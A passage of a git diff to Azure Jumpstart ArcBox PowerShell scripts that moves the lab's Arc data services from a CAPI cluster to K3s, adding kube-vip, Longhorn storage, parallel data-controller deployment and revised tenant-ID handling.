10 @@ -142,14 +174,19 @@ az aks get-credentials --resource-group $Env:resourceGroup --name $Env:aksdrArcC kubectx aks="$Env:aksArcClusterName-admin" kubectx aks-dr="$Env:aksdrArcClusterName-admin" -kubectx capi="arcbox-capi" +kubectx k3s="$namingPrefix-k3s-data" Start-Sleep -Seconds 10 +# Get Log Analytics workspace details +$workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) +$workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) +$workspaceResourceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query id -o tsv) + Write-Header "Onboarding clusters as an Azure Arc-enabled Kubernetes cluster" foreach ($cluster in $clusters) { - if ($cluster.context -ne 'capi') { - Write-Host "Checking K8s Nodes for $($cluster.clusterName) cluster" + if ($cluster.context -ne 'k3s') { + Write-Host "Checking K8s Nodes" kubectl get nodes --kubeconfig $cluster.kubeConfig Write-Host "`n" Write-Host "Connecting $($cluster.clusterName) cluster to Azure Arc" @@ -161,8 +198,7 @@ foreach ($cluster in $clusters) { --resource-group $Env:resourceGroup ` --location $Env:azureLocation ` --correlation-id "6038cc5b-b814-4d20-bcaa-0f60392416d5" ` - --kube-config $cluster.kubeConfig ` - --distribution $cluster.distribution + --kube-config $cluster.kubeConfig } catch { <#Do this if a terminating exception happens#> @@ -188,32 +224,198 @@ foreach ($cluster in $clusters) { # Enabling Container Insights and Azure Policy cluster extension on Arc-enabled cluster Write-Host "`n" Write-Host "Enabling Container Insights cluster extension" - az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceId + az k8s-extension create --name "azuremonitor-containers" --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --cluster-type connectedClusters --extension-type Microsoft.AzureMonitor.Containers --configuration-settings logAnalyticsWorkspaceResourceID=$workspaceResourceId --no-wait Write-Host "`n" } } +foreach ($cluster in $clusters) { + + if ($cluster.context -eq 'k3s') { + Write-Header "Configuring kube-vip on K3s cluster" + kubectx k3s + $k3sVIP = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $Env:k3sArcDataClusterName-NIC --query "[?primary == ``true``].privateIPAddress" -otsv + +Write-Host "Assignin kube-vip-role on k3s cluster" +$kubeVipRBAC = @" +apiVersion: v1 +kind: ServiceAccount +metadata: + name: kube-vip + namespace: kube-system +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: ClusterRole +metadata: + annotations: + rbac.authorization.kubernetes.io/autoupdate: "true" + name: system:kube-vip-role +rules: + - apiGroups: [""] + resources: ["services/status"] + verbs: ["update"] + - apiGroups: [""] + resources: ["services", "endpoints"] + verbs: ["list","get","watch", "update"] + - apiGroups: [""] + resources: ["nodes"] + verbs: ["list","get","watch", "update", "patch"] + - apiGroups: ["coordination.k8s.io"] + resources: ["leases"] + verbs: ["list", "get", "watch", "update", "create"] + - apiGroups: ["discovery.k8s.io"] + resources: ["endpointslices"] + verbs: ["list","get","watch", "update"] +--- +kind: ClusterRoleBinding +apiVersion: rbac.authorization.k8s.io/v1 +metadata: + name: system:kube-vip-binding +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: ClusterRole + name: system:kube-vip-role +subjects: +- kind: ServiceAccount + name: kube-vip + namespace: kube-system +"@ + +$kubeVipRBAC | kubectl apply -f - + +$kubeVipDaemonset = @" +apiVersion: apps/v1 +kind: DaemonSet +metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + name: kube-vip-ds + namespace: kube-system +spec: + selector: + matchLabels: + app.kubernetes.io/name: kube-vip-ds + template: + metadata: + creationTimestamp: null + labels: + app.kubernetes.io/name: kube-vip-ds + app.kubernetes.io/version: v0.7.0 + spec: + affinity: + nodeAffinity: + requiredDuringSchedulingIgnoredDuringExecution: + nodeSelectorTerms: + - matchExpressions: + - key: node-role.kubernetes.io/master + operator: Exists + - matchExpressions: + - key: node-role.kubernetes.io/control-plane + operator: Exists + containers: + - args: + - manager + env: + - name: vip_arp + value: "true" + - name: port + value: "6443" + - name: vip_interface + value: eth0 + - name: vip_cidr + value: "32" + - name: dns_mode + value: first + - name: cp_enable + value: "true" + - name: cp_namespace + value: kube-system + - name: svc_enable + value: "true" + - name: svc_leasename + value: plndr-svcs-lock + - name: vip_leaderelection + value: "true" + - name: vip_leasename + value: plndr-cp-lock + - name: vip_leaseduration + value: "5" + - name: vip_renewdeadline + value: "3" + - name: vip_retryperiod + value: "1" + - name: address + value: "$k3sVIP" + - name: prometheus_server + value: :2112 + image: ghcr.io/kube-vip/kube-vip:v0.7.0 + imagePullPolicy: Always + name: kube-vip + resources: {} + securityContext: + capabilities: + add: + - NET_ADMIN + - NET_RAW + hostNetwork: true + serviceAccountName: kube-vip + tolerations: + - effect: NoSchedule + operator: Exists + - effect: NoExecute + operator: Exists + updateStrategy: {} +status: + currentNumberScheduled: 0 + desiredNumberScheduled: 0 + numberMisscheduled: 0 + numberReady: 0 +"@ + + $kubeVipDaemonset | kubectl apply -f - + + Write-Host "Deploying Kube vip cloud controller on k3s cluster" + kubectl apply -f https://raw.githubusercontent.com/kube-vip/kube-vip-cloud-provider/main/manifest/kube-vip-cloud-controller.yaml + + $serviceIpRange = az network nic ip-config list --resource-group $Env:resourceGroup --nic-name $Env:k3sArcDataClusterName-NIC --query "[?primary == ``false``].privateIPAddress" -otsv + $sortedIps = $serviceIpRange | Sort-Object {[System.Version]$_} + $lowestServiceIp = $sortedIps[0] + $highestServiceIp = $sortedIps[-1] + + kubectl create configmap -n kube-system kubevip --from-literal range-global=$lowestServiceIp-$highestServiceIp + Start-Sleep -Seconds 30 + + Write-Host "Creating longhorn storage on K3scluster" + kubectl apply -f "$Env:ArcBoxDir\longhorn.yaml" --kubeconfig $cluster.kubeConfig + Start-Sleep -Seconds 30 + Write-Host "`n" + } +} + Stop-Transcript ################################################ -# - Deploying data services on CAPI cluster +# - Deploying data services on k3s cluster ################################################ -$kubectlMonShellCapi = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'CAPI Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-capi" ; Start-Sleep -Seconds 5; Clear-Host } } -$kubectlMonShellAKS = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" ; Start-Sleep -Seconds 5; Clear-Host } } -$kubectlMonShellAKSDr = Start-Process -PassThru PowerShell { $host.ui.RawUI.WindowTitle = 'AKS-DR Cluster'; for (0 -lt 1) { kubectl get pods -n arc --kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" ; Start-Sleep -Seconds 5; Clear-Host } } +wt --% --maximized new-tab pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:adminUsername\.kube\config-k3s-data" -clusterName 'k3s Cluster'; split-pane -p "PowerShell" pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aks" -clusterName 'AKS Cluster'; split-pane -H pwsh.exe -NoExit -Command Show-K8sPodStatus -kubeconfig "C:\Users\$Env:USERNAME\.kube\config-aksdr" -clusterName 'AKS-DR Cluster' -Write-Header "Deploying Azure Arc Data Controller" -foreach ($cluster in $clusters) { - Start-Job -Name arcbox -ScriptBlock { - $cluster = $using:cluster - $context = $cluster.context - Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" - - Write-Host "Creating data services extension on $($cluster.clusterName) cluster." - az k8s-extension create --name arc-data-services ` +Write-Header "Deploying Azure Arc Data Controllers on Kubernetes cluster" +$clusters | Foreach-Object -ThrottleLimit 5 -Parallel { + $cluster = $_ + $context = $cluster.context + $clusterName = $cluster.clusterName + $customLocation = $cluster.customLocation + $dataController = $cluster.dataController + + Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" + Write-Host "Deploying arc data services extension on $clusterName" + Write-Host "`n" + az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` - --cluster-name $cluster.clusterName ` + --cluster-name $clusterName ` --resource-group $Env:resourceGroup ` --auto-upgrade false ` --scope cluster ` @@ -221,86 +423,70 @@ foreach ($cluster in $clusters) { --version 1.31.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper - Write-Host "`n" + Write-Host "`n" - do { - Write-Host "Waiting for bootstrapper pod, hold tight..." - Start-Sleep -Seconds 20 - $podStatus = $(if (kubectl get pods -n arc --kubeconfig $cluster.kubeConfig | Select-String "bootstrapper" | Select-String "Running" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($podStatus -eq "Nope") + Do { + Write-Host "Waiting for bootstrapper pod, hold tight..." + Start-Sleep -Seconds 20 + $podStatus = $(if (kubectl get pods -n arc --kubeconfig $cluster.kubeConfig | Select-String "bootstrapper" | Select-String "Running" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($podStatus -eq "Nope") + Write-Host "Bootstrapper pod is ready!" - Write-Host "Bootstrapper pod is ready!" + # Get workspace information again as this code is executed in a different process + $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) + $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) - do { - Write-Host "Waiting for data services extension status, hold tight..." - Start-Sleep -Seconds 20 - $provisioningState = (az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query provisioningState -o tsv) - } while ($provisioningState -ne "Succeeded") + $connectedClusterId = az connectedk8s show --name $clusterName --resource-group $Env:resourceGroup --query id -o tsv + $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $clusterName --resource-group $Env:resourceGroup --query id -o tsv + Start-Sleep -Seconds 10 - Write-Host "Data services extension is ready!" + Write-Host "Creating custom location on $clusterName" + #kubectx $cluster.context | Out-Null + az connectedk8s enable-features -n $clusterName -g $Env:resourceGroup --kube-context $cluster.context --custom-locations-oid $Env:customLocationRPOID --features cluster-connect custom-locations --only-show-errors - Write-Host "Creating custom location $($cluster.clusterName) cluster." - $connectedClusterId = az connectedk8s show --name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - Write-Host "Kubernetes Cnnected Cluster ID: $connectedClusterId" + Start-Sleep -Seconds 10 - $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $cluster.clusterName --resource-group $Env:resourceGroup --query id -o tsv - Write-Host "Arc data services extension ID: $extensionId" - - Write-Host "Custom location name: $($cluster.customLocation)" - az customlocation create --name $cluster.customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --kubeconfig $cluster.kubeConfig + try { + az customlocation create --name $customLocation --resource-group $Env:resourceGroup --namespace arc --host-resource-id $connectedClusterId --cluster-extension-ids $extensionId --only-show-errors + } catch { + Write-Host "Error creating custom location: $_" -ForegroundColor Red + Exit 1 + } - Start-Sleep -Seconds 20 - $customLocationId = $(az customlocation show --name $cluster.customLocation --resource-group $Env:resourceGroup --query id -o tsv) - Write-Host "Custom location ID: $customLocationId" - if ($null -eq $customLocationId){ - Write-Host "Failed to create custom location. Existing deployment" - Exit + Start-Sleep -Seconds 10 + + # Deploying the Azure Arc Data Controller + $context = $cluster.context + $customLocationId = $(az customlocation show --name $customLocation --resource-group $Env:resourceGroup --query id -o tsv) + Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + + $dataControllerParams = "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" + + (Get-Content -Path $dataControllerParams) -replace 'dataControllerName-stage', $dataController | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'azdataUsername-stage', $Env:AZDATA_USERNAME | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'azdataPassword-stage', $using:AZDATA_PASSWORD | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams + (Get-Content -Path $dataControllerParams) -replace 'storageClass-stage', $cluster.storageClassName | Set-Content -Path $dataControllerParams + + Write-Host "Deploying arc data controller on $clusterName" + Write-Host "`n" + az deployment group create --resource-group $Env:resourceGroup --name $dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters $dataControllerParams + Write-Host "`n" + + Do { + Write-Host "Waiting for data controller. Hold tight, this might take a few minutes..." + Start-Sleep -Seconds 45 + $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($dcStatus -eq "Nope") + Write-Host "Azure Arc data controller is ready on $clusterName!" + Write-Host "`n" + Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force + Stop-Transcript } - - # Deploying the Azure Arc Data Controller - $context = $cluster.context - $workspaceId = $(az resource show --resource-group $Env:resourceGroup --name $Env:workspaceName --resource-type "Microsoft.OperationalInsights/workspaces" --query properties.customerId -o tsv) - $workspaceKey = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) - Copy-Item "$Env:ArcBoxDir\dataController.parameters.json" -Destination "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - - $dataControllerParams = "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - - (Get-Content -Path $dataControllerParams) -replace 'dataControllerName-stage', $cluster.dataController | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'azdataUsername-stage', $Env:AZDATA_USERNAME | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'azdataPassword-stage', $Env:AZDATA_PASSWORD | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnClientId-stage', $Env:spnClientId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnTenantId-stage', $Env:spnTenantId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'spnClientSecret-stage', $Env:spnClientSecret | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage', $workspaceId | Set-Content -Path $dataControllerParams - (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage', $workspaceKey | Set-Content -Path $dataControllerParams - - az deployment group create --resource-group $Env:resourceGroup --name $cluster.dataController --template-file "$Env:ArcBoxDir\dataController.json" --parameters "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" - Write-Host "`n" - - Do { - Write-Host "Waiting for data controller. Hold tight, this might take a few minutes..." - Start-Sleep -Seconds 45 - $dcStatus = $(if (kubectl get datacontroller -n arc --kubeconfig $cluster.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc data controller is ready!" - Write-Host "`n" - Remove-Item "$Env:ArcBoxDir\dataController-$context-stage.parameters.json" -Force - - Stop-Transcript - } - -} - -while ($(Get-Job -Name arcbox).State -eq 'Running') { - Receive-Job -Name arcbox -WarningAction SilentlyContinue - Start-Sleep -Seconds 5 -} - -Get-Job -name arcbox | Remove-Job -write-host "Successfully deployed Azure Arc Data Controllers" Write-Header "Deploying SQLMI" # Deploy SQL MI data services @@ -314,13 +500,16 @@ $Env:WORKSPACE_ID = $(az resource show --resource-group $Env:resourceGroup --nam $Env:WORKSPACE_SHARED_KEY = $(az monitor log-analytics workspace get-shared-keys --resource-group $Env:resourceGroup --workspace-name $Env:workspaceName --query primarySharedKey -o tsv) foreach($cluster in $clusters){ - $Env:MSI_OBJECT_ID = (az k8s-extension show --resource-group $Env:resourceGroup --cluster-name $cluster.clusterName --cluster-type connectedClusters --name arc-data-services | convertFrom-json).identity.principalId - az role assignment create --assignee $Env:MSI_OBJECT_ID --role 'Monitoring Metrics Publisher' --scope "/subscriptions/$Env:subscriptionId/resourceGroups/$Env:resourceGroup" - az arcdata dc update --name $cluster.dataController --resource-group $Env:resourceGroup --auto-upload-metrics true - az arcdata dc update --name $cluster.dataController --resource-group $Env:resourceGroup --auto-upload-logs true + $clusterName = $cluster.clusterName + $dataController = $cluster.dataController + $Env:MSI_OBJECT_ID = (az k8s-extension show --resource-group $Env:resourceGroup --cluster-name $clusterName --cluster-type connectedClusters --name arc-data-services | convertFrom-json).identity.principalId + az role assignment create --assignee-object-id $Env:MSI_OBJECT_ID --assignee-principal-type ServicePrincipal --role 'Monitoring Metrics Publisher' --scope "/subscriptions/$Env:subscriptionId/resourceGroups/$Env:resourceGroup" + az arcdata dc update --name $dataController --resource-group $Env:resourceGroup --auto-upload-metrics true + az arcdata dc update --name $dataController --resource-group $Env:resourceGroup --auto-upload-logs true } Write-Header "Deploying App" + # Deploy App & "$Env:ArcBoxDir\DataOpsAppScript.ps1" @@ -359,34 +548,33 @@ $Favorite = $Shell.CreateShortcut($Env:USERPROFILE + "\Desktop\Kibana.url") $Favorite.TargetPath = $KibanaURL; $Favorite.Save() -Stop-Process -Id $kubectlMonShellCapi.Id -Stop-Process -Id $kubectlMonShellAKS.Id -Stop-Process -Id $kubectlMonShellAKSDr.Id +Get-process WindowsTerminal | Stop-Process -Force # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } -if (-not $ArcServersLogonScript) { - Write-Header "Changing Wallpaper" - $imgPath = "$Env:ArcBoxDir\wallpaper.png" - Add-Type $code - [Win32.Wallpaper]::SetWallpaper($imgPath) -} + Write-Header "Changing wallpaper" + + # bmp file is required for BGInfo + Convert-JSImageToBitMap -SourceFilePath "$Env:ArcBoxDir\wallpaper.png" -DestinationFilePath "$Env:ArcBoxDir\wallpaper.bmp" + + Set-JSDesktopBackground -ImagePath "$Env:ArcBoxDir\wallpaper.bmp" + + # Removing the LogonScript Scheduled Task so it won't run on next reboot Write-Header "Removing Logon Task" @@ -396,15 +584,18 @@ if ($null -ne (Get-ScheduledTask -TaskName "DataOpsLogonScript" -ErrorAction Sil Start-Sleep -Seconds 5 -# Executing the deployment logs bundle PowerShell script in a new window -Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { - $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) - Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." - Start-Sleep -Seconds 5 - Write-Host "`n" - Write-Host "Creating deployment logs bundle" - 7z a $Env:ArcBoxLogsDir\LogsBundle-"$RandomString".zip $Env:ArcBoxLogsDir\*.log -}' +Write-Header "Running tests to verify infrastructure" + +& "$Env:ArcBoxTestsDir\Invoke-Test.ps1" + +Write-Header "Creating deployment logs bundle" + +$RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) +$LogsBundleTempDirectory = "$Env:windir\TEMP\LogsBundle-$RandomString" +$null = New-Item -Path $LogsBundleTempDirectory -ItemType Directory -Force + +#required to avoid "file is being used by another process" error when compressing the logs +Copy-Item -Path "$Env:ArcBoxLogsDir\*.log" -Destination $LogsBundleTempDirectory -Force -PassThru +Compress-Archive -Path "$LogsBundleTempDirectory\*.log" -DestinationPath "$Env:ArcBoxLogsDir\LogsBundle-$RandomString.zip" -PassThru Stop-Transcript diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 index 7a990d962e..905c189e60 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsTestAppScript.ps1 @@ -1,14 +1,14 @@ $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" $appNamespace = "arc" -$sqlInstance = "capi" +$sqlInstance = "k3s" Start-Transcript -Path $Env:ArcBoxLogsDir\DataOpsTestAppScript.log -# Switch kubectl context to capi +# Switch kubectl context to k3s kubectx $sqlInstance # Deploy the App and service -$appCAPI = @" +$appK3s = @" apiVersion: apps/v1 kind: Deployment metadata: @@ -25,7 +25,7 @@ spec: spec: containers: - name: dbconnecttest - image: azurearcjumpstart.azurecr.io/databaseconnectiontest + image: jumpstartprod.azurecr.io/dbconnecttest:latest volumeMounts: - name: secrets mountPath: /app/secrets @@ -37,7 +37,7 @@ spec: "@ Write-Header "Deploying DB Connect Test App" -$appCAPI | kubectl apply -n $appNamespace -f - +$appK3s | kubectl apply -n $appNamespace -f - Do { Write-Host "Waiting for App pod, hold tight..." diff --git a/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 index ff35cd1cb8..61e77ab3cc 100644 --- a/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 @@ -7,7 +7,7 @@ Start-Transcript -Path $Env:ArcBoxLogsDir\DataServicesLogonScript.log Write-Header "Az PowerShell Login" $azurePassword = ConvertTo-SecureString $Env:spnClientSecret -AsPlainText -Force $psCred = New-Object System.Management.Automation.PSCredential($Env:spnClientID , $azurePassword) -Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincipal +Connect-AzAccount -Credential $psCred -TenantId $Env:tenantId -ServicePrincipal $cliDir = New-Item -Path "$Env:ArcBoxDir\.cli\" -Name ".data" -ItemType Directory @@ -22,8 +22,7 @@ Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId +az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:tenantId # Making extension install dynamic Write-Header "Installing Azure CLI extensions" @@ -114,7 +113,7 @@ Do { Write-Host "Bootstrapper pod is ready!" Write-Host "`n" -# Configuring Azure Arc Custom Location on the cluster +# Configuring Azure Arc Custom Location on the cluster Write-Header "Configuring Azure Arc Custom Location" $connectedClusterId = az connectedk8s show --name $connectedClusterName --resource-group $Env:resourceGroup --query id -o tsv $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $connectedClusterName --resource-group $Env:resourceGroup --query id -o tsv @@ -138,7 +137,7 @@ $dataControllerParams = "$Env:ArcBoxDir\dataController.parameters.json" (Get-Content -Path $dataControllerParams) -replace 'customLocation-stage',$customLocationId | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'subscriptionId-stage',$Env:subscriptionId | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'spnClientId-stage',$Env:spnClientId | Set-Content -Path $dataControllerParams -(Get-Content -Path $dataControllerParams) -replace 'spnTenantId-stage',$Env:spnTenantId | Set-Content -Path $dataControllerParams +(Get-Content -Path $dataControllerParams) -replace 'tenantId-stage',$Env:tenantId | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'spnClientSecret-stage',$Env:spnClientSecret | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsWorkspaceId-stage',$workspaceId | Set-Content -Path $dataControllerParams (Get-Content -Path $dataControllerParams) -replace 'logAnalyticsPrimaryKey-stage',$workspaceKey | Set-Content -Path $dataControllerParams @@ -214,22 +213,22 @@ $Favorite.Save() Stop-Process -Id $kubectlMonShell.Id # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if(-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" diff --git a/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 b/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 index 769c56ac20..04d309a532 100644 --- a/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeployAPIM.ps1 @@ -6,7 +6,7 @@ $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "$Env:ArcBoxDir\Logs" $spnClientId = $env:spnClientId $spnClientSecret = $env:spnClientSecret -$spnTenantId = $env:spnTenantId +$tenantId = $env:tenantId $subscriptionId = $env:subscriptionId $azureLocation = $env:azureLocation $resourceGroup = $env:resourceGroup @@ -22,13 +22,13 @@ catch { # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId +az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:tenantId az config set extension.use_dynamic_install=yes_without_prompt ################################################ # Retrive SQL Managed Instances ################################################ -kubectx arcbox-capi +kubectx arcbox-k3s-datasvc kubectl get nodes # Retrieving SQL MI connection endpoints diff --git a/azure_jumpstart_arcbox/artifacts/DeployPostgreSQL.ps1 b/azure_jumpstart_arcbox/artifacts/DeployPostgreSQL.ps1 index 9d4504db8c..4488d65607 100644 --- a/azure_jumpstart_arcbox/artifacts/DeployPostgreSQL.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeployPostgreSQL.ps1 @@ -27,7 +27,7 @@ $coordinatorCoresLimit = "4" $coordinatorMemoryLimit = "8Gi" # Storage -$StorageClassName = "managed-premium" +$StorageClassName = "longhorn" $dataStorageSize = "5Gi" $logsStorageSize = "5Gi" diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMI.ps1 b/azure_jumpstart_arcbox/artifacts/DeploySQLMI.ps1 index 1bd90713fc..e24ac92b34 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMI.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMI.ps1 @@ -13,7 +13,7 @@ Write-Host "Deploying Azure Arc SQL Managed Instance" Write-Host "`n" $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $controllerName --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) -$customLocationId = $(az customlocation show --name "$Env:capiArcDataClusterName-cl" --resource-group $Env:resourceGroup --query id -o tsv) +$customLocationId = $(az customlocation show --name "$Env:k3sArcDataClusterName-cl" --resource-group $Env:resourceGroup --query id -o tsv) ################################################ # Localize ARM template @@ -28,7 +28,7 @@ $vCoresLimit = "4" $memoryLimit = "8Gi" # Storage -$StorageClassName = "managed-premium" +$StorageClassName = "longhorn" $dataStorageSize = "5Gi" $logsStorageSize = "5Gi" $dataLogsStorageSize = "5Gi" diff --git a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 